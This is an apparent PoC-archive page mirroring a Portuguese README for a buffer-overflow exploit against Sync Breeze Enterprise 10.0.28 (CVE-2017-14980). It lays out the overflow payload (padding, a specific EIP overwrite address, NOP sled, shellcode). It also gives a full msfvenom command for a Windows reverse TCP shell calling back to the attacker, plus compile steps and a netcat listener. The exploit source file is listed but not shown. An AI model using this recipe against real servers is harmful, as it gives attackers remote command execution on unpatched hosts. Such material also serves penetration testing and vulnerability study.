Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2017-14980 PoC — Flexense Sync Breeze Enterprise 缓冲区错误漏洞

Source
Associated Vulnerability
Title:Flexense Sync Breeze Enterprise 缓冲区错误漏洞 (CVE-2017-14980)
Description:Buffer overflow in Sync Breeze Enterprise 10.0.28 allows remote attackers to have unspecified impact via a long username parameter to /login.
Readme
# Exploit - CVE-2017-14980 - Sync Breeze Enterprise v10.0.28

Este repositório contém um exploit de **buffer overflow (BOF)** para a aplicação **Sync Breeze Enterprise** na versão **10.0.28**, explorando a vulnerabilidade identificada como **CVE-2017-14980**.

## 📌 Descrição

A vulnerabilidade ocorre devido à ausência de validação adequada no processamento do campo `password` durante uma requisição `POST` para o endpoint `/login`. Um atacante pode enviar um valor excessivamente longo neste campo e sobrescrever o **EIP**, permitindo a execução arbitrária de código.

Este exploit envia um payload cuidadosamente construído com:

- 520 bytes de preenchimento (`'A'`)
- 4 bytes para sobrescrever o EIP
- Um **NOP sled** de 20 bytes
- Um **shellcode Windows x86** que pode ser ajustado para execução de comandos arbitrários

## ⚙️ Como funciona

1. Constrói o buffer malicioso com o shellcode embutido.
2. Envia uma requisição HTTP `POST` para o servidor com o payload no campo `password`.
3. Ao processar a requisição, o aplicativo vulnerável sobrescreve o ponteiro de instrução (EIP) e executa o shellcode.


## 🛠️ Requisitos

- Compilador C (ex: `gcc`)
- Acesso à rede com o alvo rodando Sync Breeze Enterprise 10.0.28
- Ajuste do endereço de EIP (`\x83\x0C\x09\x10`) e shellcode, se necessário 
- msfvenom -p windows/shell_reverse_tcp LHOST=<SEU_IP> LPORT=4444 EXITFUNC=thread -b "\x00\x0a\x0d" -f c

## 🧪 Execução

```bash
gcc exploit.c -o exploit
./exploit

```
Em outro terminal:
```bash
nc -nlvp 4444
File Snapshot

[4.0K] /data/pocs/b7092e9c343ea902628115f6413cbde0a39785d3 ├── [4.1K] exploit.c └── [1.5K] README.md 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →